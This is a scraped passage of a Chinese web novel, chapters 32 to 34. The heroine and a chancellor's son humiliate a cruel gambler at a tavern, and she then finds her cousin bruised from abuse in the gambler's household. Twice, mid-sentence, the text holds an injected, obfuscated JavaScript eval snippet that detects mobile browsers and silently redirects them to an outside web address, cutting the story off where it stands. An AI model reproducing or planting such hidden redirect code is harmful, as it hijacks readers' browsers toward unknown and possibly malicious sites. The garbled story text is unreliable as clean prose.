这是她头一回离得这么近看他的手,骨节分明,手掌宽厚,掌心却满是厚厚的茧子。 指尖无意触碰到那些茧子,柳舜华的手微微一顿。 他本是相府养尊处优的公子,这双手本该是细腻的,少时的贺玄度定是受了不少苦。 贺玄度掌心一阵酥麻,垂头望去,却见柳舜华眸光点点,微红了眼眶。 他以为柳舜华被吓坏了,拍着受伤的右手,嬉笑道:“没事的,你不用担心。你看,好好的。” 柳舜华轻叹一声,“你可仔细些吧。” 郑充在旁看着,突然一声嗤笑,朝着众人高声道:“我就说怎么一个小小的随从,哪来的胆量站出来,原来是主仆早已暗通款曲。” 陈莹忍不了,冲出去指着他的鼻子骂道:“你再乱说,我早晚有天撕烂你这张臭嘴。你自己龌龊不堪,便看别人都不干净。你是没长眼吗,没瞧见他的手被你划破了?” 贺玄度摸着被柳舜华包扎好的伤处,声音渐冷,“郑公子,你若是眼瞎,回去自行请人医治去,咱们还是说回赌注的事吧。愿赌服输,怎么,你这是要坏了赌桌上的规矩?” 郑充握紧拳头,他在凉州有诸多赌场,愿赌服输的规矩若打破,那他日后如何服众。 他咬牙道:“你想如何?” 贺玄度面无表情:“赌之前,柳小姐已经说得很清楚了。若是输了,你要向陈家道歉。” 郑充想了良久,他今日输了赌局,若不道歉,陈家众人绝不会罢休。还有这个小白脸随从,一看便是个赌术高手,若他日后在赌桌上胡言乱语,坏他名声,那赌场可就难办了。 为了赌场的事业,终是选择忍下这口气。 他眼一闭,对着陈家众人道:“方才是我口不择言,对不住。” 说罢,他便一脚踢开地上的杂物,对着随从吼道;“都杵在那里做什么,走啊。” “慢着,郑公子这就要走了?”贺玄度慢悠悠地说着。 郑充怒道:“我已经道过歉了,你还要如何?” 贺玄度微微一笑,“看来郑公子平日没有道歉的习惯,所以才这么生疏。道歉,讲究的就是一个心诚。你方才,不算。若郑公子实在不懂,可以不耻下问,我很乐意教教你。” 郑充不可置信地看着贺玄度,怒极反笑,“我倒是想听听,你准备如何教我?” 贺玄笑道:“也简单,适才你说输了要我跪下帮你倒酒,如今却是你输了。不过,我们也不是什么苛刻之人,跪着倒酒这种事,断然做不出来。” 他接着说,“这样,你就扇自己几巴掌,然后跪下道歉得了。” 陈家众人虽然厌恶郑充,对他方才的言行也极为愤怒,可他到底还是他们的大姐夫,而且还是刺史家的公子。 他们只想着争一口气,让他意识到自己方才言语失当。他们都知道,以他的秉性,是不会轻易道歉的,能逼得他道歉也算勉强为陈家挽回了颜面。他们实在没想到,贺玄度竟让他当众下跪扇巴掌。 柳舜华眉头深锁,望向贺玄度的眼神里满是探究。 不知为何,她有一种直觉,贺玄度似乎有意激起郑充与陈家的矛盾。 郑充像是听到了什么笑话,扒开随从,走上前戳着贺玄度的肩膀,“你到底知不知道我是谁?竟敢这么同我说话。” “想拿身份吓人?”贺玄度随手拨开他的手,“那你又知不知道,我是谁?” 他眼神遽变,脸色沉了下来,带着一种不可名状的威压。 郑充怔愣许久,险些被他震住。 “你不就是个随从。柳家虽在长安,可并非什么高门大户。其父不过是个司农丞,其兄虽被提拔,也不过是个无用的官职,你当我不知?” 贺玄度不再同他废话,从腰间掏出一块玉佩,“你可认得此物?” 郑充垂头一看,玉佩之上刻着一只猛虎,右上方还有一个“万”字。 “万都尉,是你什么人?” 贺玄度将玉佩收回,走近几步,“不知你有没有听说过,万都尉他有个侄子。” 郑充脸色突变,万都尉只有一个妹妹,曾嫁于当今贺丞相。 那他岂不就是丞相府的公子。 官场上有句传言:宁可得罪天,不可冒犯鹤。 这个鹤便是贺丞相的贺。 他方才,都做了什么蠢事啊? 他声音止不住有些颤抖,“你是……” 贺玄度一把按下郑充的头,附在他耳边,抬眼看了下柳舜华,沉声道:“对面那个女人,是我的人。我来凉州,就是为了她,听懂了吗?” 郑充不住点头,“懂,懂。” 柳舜华听不清贺玄度说了什么,只是他的眼神,让她莫名有些不自在。 “很好。”贺玄度拍了拍他的肩膀,“跪我的人多了,你也不算亏。跪完道歉,今日之事,一笔勾销。” 围观的看客议论纷纷,郑充抬着头看了一眼四周,心一横,跪了下来。 “各位弟妹,是我醉酒无状,一时说了混账话,请弟妹们谅解。” 他又看向柳舜华,拼命扇了自己几巴掌,“柳表妹,是我有眼不识泰山,我该死。求您大人不记小人过,饶了我这回。” 陈家众人看他竟真的肯下跪道歉,一时觉得畅快,方才压在心头的恶气一扫而空。 柳舜华一见这情形,便知贺玄度亮出了他的身份,不然就凭他几句话,郑充不可能乖乖下跪。 起初,她以为贺玄度不想公开他的身份,才称自己是她的随从。 可如今来看,他似乎并没有隐瞒自己的打算。 那为何,他一开始不直接亮明身份? 还是说,他也看不惯郑充,想当众羞辱他。 几人出了醉月居,陈家两兄弟围上贺玄度道谢。 大表哥道:“舜华,这位公子举止从容,瞧着并不像是随从,不知可否告知姓名?” 见郑充他们已经走远,柳舜华才道:“他是我在长安的朋友,姓贺。” 陈家众人又躬身致谢,“方才多谢贺公子解围。” 陈莹兴奋道:“贺公子,不知方才你说了什么,那厮竟真的下跪道歉。” 贺玄度笑笑,“也没什么,就是好心给他一些忠告罢了。” 陈莹愈加好奇,“忠告?他还真听了?” 二表哥一把拎起陈莹,“你问这么多做什么,还想学着惹事不成?贺公子做事知进退,你学不来。” 陈莹哼了一声,扭过头去。 柳舜华想了一下,对着大表哥道:“表哥,我还有些话想同贺公子讲,劳烦你们先等我一下。” 大表哥会意,带着弟妹们等在一边。 等到众人离开,贺玄度歪头凑过来,得意道:“你是不是很感动,想单独谢我?” 柳舜华看着他的眼睛,点头道:“对,很感动,谢谢你。” 贺玄度没想到她如此认真,倒有些不好意思,尴尬地摸了摸头。 柳舜华思忖良久,抿着唇,“不过,我找你,却是为另一件事。我想,请你再帮帮我。除了你,我想不到还有谁能帮我。” 贺玄度眸光一亮。 她说,她想不到其他人帮忙,却独独想到了他。 他立即挺直了脊背,“说说看,你想让我帮什么。” 柳舜华没有直说,而是道:“我觉得,郑充有问题。” 贺玄度一愣,随即道:“他能有什么问题?方才我已经表明了身份,他不敢再找你麻烦的。” 柳舜华摇头,“不。方才我一直在观察,在你站出来之前,郑充似乎是有意在挑衅,我一直隐忍,就是为了试探他。而他果然步步紧逼,丝毫没有退让的意思。” 贺玄度摸了摸头,“会不会是你想多了,我看那郑充就是个无知狂妄之徒。” 柳舜华握紧了手,说出自己的担忧,“我听表妹说过,大表姐已经小半年未曾归省,就连外祖大寿,舅舅派人去请,都未曾请回来。表妹说,是大表姐嫌弃家中门第低,不愿回来。可今日看郑充这副模样,我担心大表姐出了状况。” 贺玄度见她皱紧眉头,安慰道:“郑充的父亲是凉州刺史,他应该不至于纵容儿子在家中无法无天,控制你表姐的自由。你不要胡思乱想,若是得空,你寻个借口,去郑府一探便知。” 柳舜华点头,想了想,又道:“还有一事,我总觉得有些不对。方才你亮明身份前,郑充不信,张口便说出我父兄的官职,很明显,他对我们柳家之事,了如指掌。” 贺玄度凝眸,“你兄长被提拔不过月余,他竟这么快得知,的确有些不寻常。” 柳舜华本想继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863696|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同他解释,没料到贺玄度竟也想到了这一层。 “兄长升任鸿胪寺丞,此前外祖一家尚不知晓,郑充又是如何得知。除非,他有意调查过我们柳府。” 贺玄度也觉出一丝不寻常,问道:“那你希望我如何帮你?” 柳舜华道:“明日,我想去一趟刺史府,但若是郑充在,我怕是见不到表姐。所以,我想请你想个办法,寻个借口,让他离开。” 贺玄度有些为难,“今日为了替你出气,我们闹成这样,明日只怕是不好办。” 柳舜华一愣,贺玄度真的是为了她。 今生的贺玄度,与记忆中的他,很不一样。 他总是毫无顾忌地表达自己,不遮不掩。 看到她被人刁难,他毫不迟疑地出手。 他帮了她,会一脸得意,当面向她邀功。 而前世那个他,永远站在她身后,即便是帮她,也总是悄无声息。 贺玄度见她不说话,便凑近道:“我只是说此事不好办,又没说不帮,你生什么气?” 柳舜华抬眸,静静地看着他,微微一笑,“我没有生气。” 她本就生得娇美动人,这一笑,更添了几分平和,月色之下,连风都温柔起来。 贺玄度心上莫名一动。 他素日最不喜世家那些温柔端庄的女子,总觉得她们少了一分真性情,就像是一个个任人摆布的木头美人,毫无灵性。 可柳舜华明明也是这样,她说话温声细语,举止有度,不急不躁,他却全然没有半分不屑,反觉她独特。 柳舜华缓声道:“正所谓不打不相识,其实今日这样也好,反而是个机会。你们都擅赌,而且他那样纨绔之人,做事习惯你也熟,或许可以从此处入手。” 犹如一盆凉水泼下,贺玄度脸色陡然一沉,“我怎么听着你说得不像好话呢。什么叫他那样的人,做事习惯我熟?你言外之意,是不是觉得我同他一样擅赌,都是些不成器的?” 柳舜华已经摸清他的脾气,不慌不忙安抚道:“怎么就不算好话了?我与你相识月余,这些时日,从未听过你滥赌成性。可见你只是擅赌,又不是滥赌。擅赌和滥赌,怎么能一样呢。” 贺玄度听罢,早消了气,又问:“那郑充也擅赌,并不曾滥赌,你不是照样觉得他纨绔?” 柳舜华声音柔和:“同样擅赌,他用赌来羞辱人,你却用赌来帮人,这天差地别的,他拿什么跟你比。” 贺玄度嘴角止不住上扬,垂头掩下笑意。 他就知道,在柳舜华心里,他到底是不同的。 不知想到了什么,贺玄度张了张嘴,犹豫片刻,还是道:“在长安时,我其实,也是赌过的,还曾在一夜间输了几万钱。” 柳舜华当然知道,兄长曾讲过。 她道:“你如此擅赌,怎么还会输那么多?” 贺玄度叹了一口气,“因为我缺钱。” “当时父亲管得严,家中钱财又都在那个人手里攥着。我便想了个办法,同赌场老板商议,输个几万钱,事后我们二八分账。” 柳舜华听得瞠目结舌,贺玄度这行径简直闻所未闻,也太独特了点。 贺玄度接着说:“我同你说这些,就是不想你将来从别人嘴里听到,信了那些乱七八糟的说辞。我想让你信我,我是不会滥赌的。” 柳舜华心上蓦地一热。 贺玄度如此坦诚,是怕她有朝一日,会误会他。 他是真的,将她当作了朋友。 柳舜华迎上他的目光,“我是信你的。” 贺玄度长舒一口气,片刻后,又道:“所以,我擅赌之事,还望回长安之后,替我保密,莫要让人知晓。” 柳舜华点头,“这是自然,棠华那里我也会叮嘱她。” 沉默片刻,贺玄度道:“郑充那边,明日我会想办法支开他。只是,你千万要小心。若他们有意为难,你大可搬出丞相府为你撑腰。放心,有我在,凉州城没人能欺负你。” 柳舜华静静听着,鼻尖突然有些酸楚。 贺玄度虽性情大变,对她又似乎总有一些若有若无的防备,却还是会像前世一样护着她。 月色下,两道身影一高一低,却又隐隐交叠在一起。 她垂头看着两人的影子,轻声叫了他的名字,“贺玄度。” 贺玄度低头看着她,“怎么,还有其他事需要我帮忙?” 柳舜华摇摇头,抬眸望向天上的月亮。 “我就是觉得,能遇上你,真好。” 贺玄度先是一怔,随后高扬起头,“那是自然。能碰上我这样俊美无双又至诚至善之人,是你的福气。” 他凑近了一些,盯着她的眼睛,“柳舜华,你可千万要好好珍惜。” 33. 第 33 章 送走柳舜华,贺玄度回到方才与柳舜华才相遇的石桥边,静静地坐着。 月色之下,他举起手,看着被手帕包好的伤处,嘴角不自觉挂着笑。 树影被踏碎,有人从暗处走了过来。 正是方才醉月居中摇骰盅的舞姬。 “公子。” 贺玄度回头,站起身来,笑道:“金芝,你来了。” 金芝转动着手腕,脸色不太好,闷闷地“嗯”了一声。 贺玄度满脸堆笑,讨好道:“今日劳烦金芝姑娘了。” 金芝白了他一眼,“都说了让你学着点,你偏不听,但凡你有点真本事,我都不至于那么心累。你当换那些骰数很容易吗?还有,你还故意输两局,若是我稍有差池,岂不是要前功尽弃?” 贺玄度依旧笑着:“你是谁啊,鬼王白的女儿,我还从未见过你失手。” 金芝道:“你不必奉承,我不吃你这一套。我就问你,说好只引起郑充的注意,你为何非要闹得他下不了台?如今这样,你要如何接近他套取消息?若耽误了万都尉的大事,你教我如何交代?” 贺玄度道:“你别急啊,我们这虽然认识得有些……不太愉快,但好歹也算认识了。俗话说不打不相识,他已经充分见识了我的绝技,我又报了我的身份,再想接近他,也不是什么难事。” 金芝不信,“你就编吧。我是看出来了,你就是故意的。” 说罢,又看了他一眼,意味深长道:“你是为了那个柳小姐吧?” 贺玄度笑而不语,想遮掩过去。 金芝却不放过,“别以为我看不出来,你就是怕郑家倒台以后,连累到陈家,所以才设计两家当场闹翻,让众人都做个见证,来证明郑陈两家不睦已久,以便来日清算时陈家能撇清关系。” 贺玄度没有否认,“真是什么都瞒不过你。” 金芝得意地仰起头,“接下来你打算怎么做,可需要我帮忙?” 贺玄度摇头,“不用,今日过后,我的赌技他不会再怀疑。你告诉舅舅,我会设法从郑充身上入手,查到刺史府与彭城王勾结的证据。” 贺玄度想了想,又道:“对了,还有一件事,郑充的夫人,也就是柳小姐的表姐,你让咱们的人留意一下。” 金芝问:“怎么,她也有问题?” 贺玄度:“不是,是柳小姐怀疑她表姐出了事。这个节骨眼上,未免也太巧了点。总之,你让人留心。” 金芝点头,“还有,都尉让人传话,说祁连山一带的贼匪可能已经潜入了凉州城,让你行动务必小心。” 贺玄度抬起头,眸中泛冷,“那正好,可以来个瓮中捉鳖。” …… 回家途中,大表哥提醒几人提前对好口信,到家后,绝不可提今日遇到郑充之事。 逛了一日,柳舜华他们都累得不行,道别后便各自回屋。 柳舜华与柳棠华住在大表姐出嫁前的闺房,与陈莹的闺房相连,仅用帘子做了隔断。 房间虽不大,却被舅母收拾得格外妥帖,床上换了新被褥,桌椅被擦得明亮。 柳棠华已经收拾好躺下,呼呼大睡。 柳舜华心里想着大表姐的事,便掀了帘子去寻表妹陈莹。 陈莹已经卸了妆容,准备睡下。 见柳舜华过来,她起身披了一件衣袍,亲热地拉着表姐坐到床边。 “表姐是睡不着吗,可是床被不适应?” 柳舜华看着陈莹的被褥,笑道:“舅母疼惜,已经把最好的留给我们,便是比起我们家来,都是好的,怎么会不习惯。” 陈莹笑得开心,“那便好。” 柳舜华拉着她的手,问道:“我是想问问大表姐的事。” 陈莹脸色一黯,“好好的,怎么又说起她了。” 柳舜华道:“你说大表姐小半年不曾归省,你们可曾去过刺史府问过?” 陈莹嘴一撇,“怎么没去过,是我亲自去的。” 柳舜华问:“那可有亲眼见到她?” 陈莹点头,“自然。就是过完年之后,往常那个时候,她总是会回来的,可是今年却不见她。我娘不放心,便差人去请,谁知她一口回绝。起初,我娘还担心她是不是在刺史府受了什么委屈,让我随她一同前去。” 陈莹似乎想到了什么不悦之事,脸又难看几分。 “我们在刺史府等了许久,才有下人回说姐姐身体抱恙,不便相见。” 柳舜华不解,“你不是说见到了?” 陈莹撅起了嘴,“还不是我靠着嗓门大,在他们刺史府一通乱喊,姐姐迫于无奈,怕我丢人现眼,才肯出来见我们。” 柳舜华急忙问道:“大表姐当时神色如何,可有不适之处?” “没有,她好得很。她当时全身罗绮,打扮华贵,完全不似以往的模样。” 说到此处,陈莹气得猛地一拍床沿,“表姐,你不知道她都说了什么混账话。她说,她如今是刺史府的少夫人,身份尊贵,不便与我们再过多来往,以免污了刺史府的门楣。” 她拉起柳舜华,“你听听,她说的这是人话吗?我娘从刺史府出来,气得发抖,险些没昏过去。” 柳舜华皱眉,大表姐这话,确实是重了些。 她想了想,问:“表姐当初是因何嫁入刺史府的?” 陈莹叹了口气,“表姐今日问了我,往后可莫要再提,祖父听到又要伤心了。” 柳舜华静静听着,终于明白前因后果。 原来当年外祖放马之时,无意间救下了郑充的祖父。郑充的祖父感激外祖相救之恩,许诺他日若富贵,定当结秦晋之好。后来郑充的外祖参军,并挣得了军功,风风光光回了凉州。回到凉州后的郑充祖父,没有忘掉昔日的诺言,便找上门来,替他孙儿求了大表姐为妻。 怪不得郑充会说,他是因为祖父才娶了表姐。 这么来看,郑充本人对这桩婚姻,好像并不是很满意。 柳舜华呆愣许久,大表姐的处境与她前世实在太像。 可很快,她又好像意识到,不是大表姐与她像,而是世间姻缘,本就圆满太少,幽恨太多。 陈莹感慨道:“姐姐嫁过去已有四年,郑充祖父在时,一切都还正常。可自去年郑充的父亲升任凉州刺史,祖父过世后,一切都变了。” 柳舜华还是觉得不对,郑充既不喜欢表姐,那其祖父过世后,表姐在刺史府应当不太好过,怎么反而突然狂悖起来。 还有,醉月居内,郑充的反应也不对。他三番两次主动挑衅,还特意调查他们柳府,又是为何? 她一头雾水,怎么也想不明白。 明日,无论如何,她都要去趟刺史府。 她知道表妹陈莹虽是个急性子,易冲动,可却最是心软。 想了想,她道:“你嘴上说着不提她,可今日看到郑充那般,不还是气不过,想替表姐出气。” 陈莹头扭到一边,嘴硬道:“我可不是替她出气,我是怕我们陈家丢人。” 柳舜华笑道:“咱们都是自幼一起长大的姐妹,姐妹哪有隔夜仇。不如这样,明日咱们一同去刺史府探望表姐如何?” 陈莹垂头想了一下,悻悻道:“算了,还是不去了,能不能见到还要另说,即便真见到了,也还是会失望。” 柳舜华安慰道:“我远道而来,亲自登门,这个面子表姐还是会给的。你放心,等见到她,若她还是之前的样子,我自会站在你这边,和你一起骂她一顿替你出气。” 陈莹笑了起来,似有所动,很快她又皱起眉来,“今日咱们得罪了郑充,怎么好再登门?” 她又叹了一口气,“我知道,今日我的确是有些冲动了,可我实在忍不了。我当时就想着,若不让他知道,姐姐也是有娘家可依仗的,只怕他日后会更不把姐姐放在眼里。” 柳舜华放下心来,陈莹心里到底还是关心表姐的。 第二日,用过早饭,柳舜华便带着陈莹前往刺史府。 路上,陈莹忍不住问:“表姐,你说郑充今日不在,真的假的?” 柳舜华笑笑,“应该没问题。” 说话间,两人便至刺史府门前。 柳舜华并未急着进门,而是左右张望着,似乎在等什么人。 不一会,果然有个小厮打扮的少年跑了过来,对着柳舜华道:“敢问,可是柳小姐?” 柳舜华点头,“你是贺玄度的人?他那边如何?” 小厮笑道:“在下周松,公子说事情办妥了,让小姐放心。” 柳舜华想了想,这么一大早贺玄度便将事情办好,可见他住得应该也不远。 她问:“贺玄度如今在何处落脚?” 周松垂首道:“都尉府,凉州的万都尉是公子的亲舅舅。” 陈莹激动不已,忙拉着柳舜华,悄声道:“表姐,贺公子竟然是万都尉的亲侄子。我就说嘛,他那样的人,怎么可能是个随从。只是没想到,他竟有这么大来头。” 柳舜华也颇为惊喜,有万都尉这样的舅舅,是贺玄度的福气,她替他感到高兴。 事到如今,柳舜华也不想隐瞒,笑道:“你怕是不知道,贺玄度不单是万都尉的侄子,更是当今丞相的亲儿子。” 当年贺玄度外祖离开长安返回故居,不到三年便撒手人寰。如今万家,全靠万都尉支撑。万都尉行事沉稳,贺玄度生母万氏又早早离世,凉州城百姓们只知万都尉戍守边疆,抵御外敌,是个难得的好官,鲜少有人知道他同贺丞相的这层关系。 陈莹简直要惊掉下巴,“贺公子身份竟如此尊贵,怪不得郑充那厮肯下跪道歉。表姐,你早说啊。早知道有贺公子撑腰,我们哪里用得着忌惮他们刺史府。” 柳舜华在她头上敲了一下,“我跟你说,就是想让你以后见到他收敛一点,别一副一人得道鸡犬升天的样子。他身份贵重,我同他可没那么熟。” “他为了替咱们解围,不惜说是你的随从,怎么可能不熟。”陈莹凑过去,歪头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868977|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“依我看,贺公子对表姐……” 柳舜华瞪了她一眼,陈莹马上乖乖闭嘴。 入府时,都尉府的周松就跟着身后。陈莹自觉有了底气,走得格外豪横些。 两人说明来意,后院管家的嬷嬷客客气气地让她们等在花厅。 等了好一会,那嬷嬷才出来回禀,“两位小姐,真是不好意思,我家少夫人今日身体抱恙,不能出来吹风,还望见谅。” 陈莹猛地一拍桌子,“又是这个借口,她是个糖人吗?风一吹便能化了还是怎的?” 柳舜华按住她的手,温言道:“表姐病了,断然没有出来见客的道理。” 管事嬷嬷不住点头:“正是,正是,柳小姐真是善解……” 话还未说完,就听柳舜华接着道:“既如此,那我们便进去瞧瞧表姐吧。” 嬷嬷忙拦着,“柳小姐,少夫人已经歇下了。” 柳舜华不慌不忙,“表姐病重,我们这些做妹妹进了府却不去瞧,这传出去可不太好听。这位嬷嬷,您这么拦着,不知道的,还以为您是欺我们这些穷亲戚不配呢。” 昨夜问过陈莹,柳舜华才知,郑充的母亲已于一年前病亡。如今刺史府后宅,说起来也是表姐当家。郑充不在,郑刺史这会在处理公务,若想见表姐,今日是绝佳的机会,她怎么可能让一个嬷嬷给挡回去。 嬷嬷脸色稍变,尴尬一笑:“柳小姐误会了,实在是少夫人身体不便。” 柳舜华懒得再同她周旋,看向陈莹,示意她带路。 两人绕过嬷嬷,直接往后院去。 嬷嬷也不再装,小跑着拦在两人跟前,“柳小姐,这里是刺史府,若您执意闯进后院扰了少夫人的清静,我可要叫人请你们出去了。” 柳舜华还未发话,一旁的周松已经大步跨了过去,一把抓起那嬷嬷的手,只听咔嚓一声,嬷嬷惨叫起来。 到底是都尉府出来的人,出手就是快准狠。 柳舜华瞥了那嬷嬷一眼,受伤了也好,免得郑充回来时她再连累受责罚。 两人正准备往前走,便看到远处回廊尽头走出来一个人。 来人是个女子,约莫二十余岁,一身锦绣华服,面容瘦削,脸上抹了厚厚的胭脂水粉,没有半分鲜活气,活像个纸人。 柳舜华盯着来人看了好一会,才认出是大表姐。 她脱口而出:“表姐?” 陈茵只是略一点头,便转头看向陈莹,语气冷淡道:“怎么,上次来闹还嫌不够?” 陈莹先是一愣,随后气得翻了个白眼,拉着柳舜华道:“表姐,你瞧见了没有?我就说,她还是这副鬼样子。” 柳舜华走过去,牵起陈茵的手,温声道:“表姐,是我,舜华啊。” 陈茵眼珠微微一动,很快便又冷下脸来,“你千里迢迢从长安过来,就是来陪她一起胡闹的吗?你是姐姐,她发疯你不劝着,怎么还由着她?” 陈莹气极了,为了见她,她们费尽心机,结果她却依旧如此。 她走上前,一把拉过柳舜华,猛地甩开陈茵的手,“表姐,咱们走。” 陈茵吃痛,轻哼一声,捂住手臂靠在廊柱上,气喘吁吁。 陈莹脚步一顿,抬头看了看她,只见陈茵脸上泛起薄汗,厚厚一层粉被汗渍冲刷,露出一片淤青。 柳舜华突然意识到了什么,她走上前,抓住陈茵的手,不由分说捋起她的袖子。 一片青紫交加,陈茵的胳膊竟没一块是好的。 陈莹呆住了,她直愣愣地走过去,眼里冒火,“是不是郑充那个混账干的?” 陈茵拨开柳舜华的手,整理好衣袖,“不关你们的事,你们还不快走。” 陈莹急道:“我问你是不是郑充打的?这个杀千刀的,我就不信没人管了,我这就找刺史说理去,看我不打死他那个混帐东西。” 陈茵听她这么说,一口气喘不上来,又咳了起来。 “还不是因为你,若不是你昨天同他置气,让他颜面无存,我又怎么会被打。好啊,你去打吧,你打不死他,死的便是我。” 陈莹气得面色涨红,看着陈茵狠狠道:“好,都是我的错,我就不该多管闲事,是我活该。” 柳舜华扶住陈茵,不停地拍着她的背,想为她顺气。 陈茵甩开她,“你们都走,我是刺史府的少夫人,不需要你们来可怜我。” 陈莹实在忍无可忍,她拉过柳舜华,忿忿道:“表姐,你可都听到了,人家是高门贵妇,咱们哪里高攀得起。咱们走,不在这里碍她的眼。” 柳舜华被她拉着往前走,忍不住回头。 陈茵正站在廊下,静静地看着她们。看到柳舜华回头,她眼中的哀伤一闪而过,又恢复了冰冷的表情。 陈莹尤不解气,走到门口,突然转身,对着陈茵道:“你放心好了,少夫人,以后我们陈家人不会再来了。” 陈茵浑身一滞,如坠冰窟,看到她们身影消失在庭院内,眼角划过一行清泪。 34. 第 34 章 陈莹真的被气到了,比昨晚尤甚。 她回头看着刺史府的大门,恨不得啐上一口,“表姐,咱们走,我再也不要来这里了,真是让人寒心。” 柳舜华将她拉上马车,低声道,“你这么说,才是让表姐心寒。” 陈莹一愣,赌气道:“她有什么心寒的,她可是高高在上的刺史府少夫人。” 陈莹不过十四岁,比棠华还要小,最是年轻气盛的年纪。况且她常年跟着表兄们放马,整日纵情驰骋于山野,心思单纯,哪里知道高门大户里的那些险恶。 其实又岂止是她,外祖一家都是厚道的,他们只以为表姐嫁了个好人家,内里如何又怎么知道。 一个没有任何依靠的女人,高嫁给一个不爱她的人,在夫家会如何,这样的境遇,柳舜华再清楚不过。 柳舜华摸了摸她的头,“莹儿,你相信我,表姐肯定有她的苦衷,总有一日,表姐她会同你说清的,你要给她时间。” 陈莹没有说话,默默垂下头。 她被柳舜华安抚一会,气已经消了大半,想到方才姐姐身上的伤痕,忍不住担心起来,“表姐,我姐她,好像真的被郑充那王八蛋打得有点狠,她不会出什么事吧?” 柳舜华柔声道,“我也心疼表姐,不过你放心,既然咱们今日能相见,表姐应该暂时无事。” 陈莹看了看窗外,叹了一口气,“但愿吧。” 将陈莹安全送回家,柳舜华让一直跟着的周松领着,去了都尉府。 近日匈奴一小队人马又来滋扰边境,万都尉带人去抵御。万夫人回了娘家,贺玄度尚未回府,柳舜华只得在正厅等着。 都尉府鲜少有女眷登门,如今突然来了这么个大美人,府内众人不时寻了借口从厅外走过,偷偷瞄上一眼。 柳舜华假装饮茶,来掩饰尴尬,一直喝到再也喝不下,贺玄度终于回来了。 一见到贺玄度,她忍不住起身,语气中不觉多了几分娇嗔,“贺玄度,你怎么才回来。” 说完,柳舜华便觉得有些不妥,她这话听着,活像独守空闺的妻子在抱怨晚归的丈夫。 贺玄度不说话,只是歪头盯着柳舜华笑。 柳舜华被他盯得脸上发烫,忙背过身去。 贺玄度见她有些窘迫,不再逗她,侧身走到桌前,倒了一杯茶递过去。 “让柳小姐久等了,我以茶代酒,向你赔罪。” 柳舜华一看,又是茶,苦着脸道:“真的喝不下了。” 贺玄度顺势将茶喝了,笑道:“你准备一直这么站着吗?” 柳舜华这才走了过去,靠着贺玄度坐了下来。 方才未曾留意,这一坐下,一股浓重的酒味扑鼻而来。 柳舜华皱眉,“你喝酒了?” 贺玄度下意识捂住嘴巴,“没喝几口,都是为了陪那个郑充。是不是有点臭,那我漱漱口再回来。” 柳舜华斜了他一眼,“你的手受了伤,饮酒不利于伤口愈合,你怎么又忘了。” 说到伤口,贺玄度摸着受伤的手,不动声色地用力一按。 “啊,又流血了,好疼。” 守在门口的周松一脸狐疑地看着屋内嚎叫的贺玄度。 表公子自幼被万都尉按在地上打,从未喊过一声。 今日这是要搞哪出?也太矫揉造作了点。 柳舜华急忙起身走了过去,抓住贺玄度的手,将绑住伤口的麻布拆开,“怎么好好的又流血了?” 贺玄度疼得直皱眉,可怜兮兮道:“可能是因为饮了酒的缘故,你说得对,我不该饮酒的。” 柳舜华急得直打转,“那你还不赶紧叫医工过来瞧瞧?” 贺玄度摇头,“不用,我这里有药,重新包扎便好。” 周松很快拿了药进来,特意瞅了一眼贺玄度的伤口,已经愈合的伤口,生生被人重新扯开了。 万都尉临行前交待过要照看好表少爷,如今他却受了伤。周松方想张口问究竟是何人所为,就被贺玄度一记冷眼给瞪了回去。 周松不再多言,乖乖退到一边候着。 柳舜华拿了棉布,轻轻按住伤口,待血止住,小心擦拭掉血迹,又蘸取了药膏,均匀地涂抹在伤处。 她半垂着头,云髻峨峨,眼睫微微煽动,春风撩动着衣衫,幽香阵阵袭来。 贺玄度屏住呼吸,生怕呼出来的浊气玷污了这份清静。 柔软的双手握住他的手掌,指尖划过他的肌肤,像是轻柔的羽毛抚过。冰凉的药膏涂上,灼热的伤口似乎被压制了不少。 “好了!” 轻柔的声音响起,贺玄度恍过神来,缓缓收回了手。 他举起手,看了看,身子往柳舜华那边靠近了一些,“你包得真好看,比他们包得好多了。他们一个个都笨手笨脚的,每次换药都扯得我生疼。” 候在门口的周松脸一黑。 今日换药时,不是表少爷自己说的随意些吗? 柳舜华点头,“你们这都是些男子,不注意也是有的,还是找个手脚轻柔的侍女来换的好。” 贺玄度收回了手,嬉笑道:“我看你就包得挺好,这两日辛苦你每日跑一趟过来换药,如何?” 柳舜华抬头,正撞在他的双眸上。 少年一双眼眸,灿若星辰,满含柔情,诚挚清澈得似一汪清泉,可柳舜华却像被蛊惑了一样,心底不由生出了更多期待还有迷惘。 她的心有些乱。 贺玄度见她不作声,又凑近了一些,举着手道:“我这手,好歹也是因为你才受的伤,你不会就这么弃我不顾吧?柳舜华,你不能这么无情无义,你太让我失望了。” 他离得太近,柳舜华忍不住往后退了一些,看了他一眼,只道:“我没有,我只是……” “那你为何不答应?”贺玄度半仰着头,静静地看着她,漆黑的眼眸干净纯粹,等待她给出解释。 不知为何,他那眼神,让柳舜华想起了等待喂食的绿玉,她忍不住低头笑了起来。 贺玄度被她笑得莫名其妙,“你笑什么?” 柳舜华点头:“好,我答应你。” 贺玄度这才收回了手,神色得意,“这还差不多,不枉我英雄救美,为你出尽风头。” 柳舜华蹙眉,无奈地摇摇头,他讲话口无遮拦的毛病,也不知道能不能改。 默默收拾好桌上的药品,柳舜华交还给一旁的侍卫。 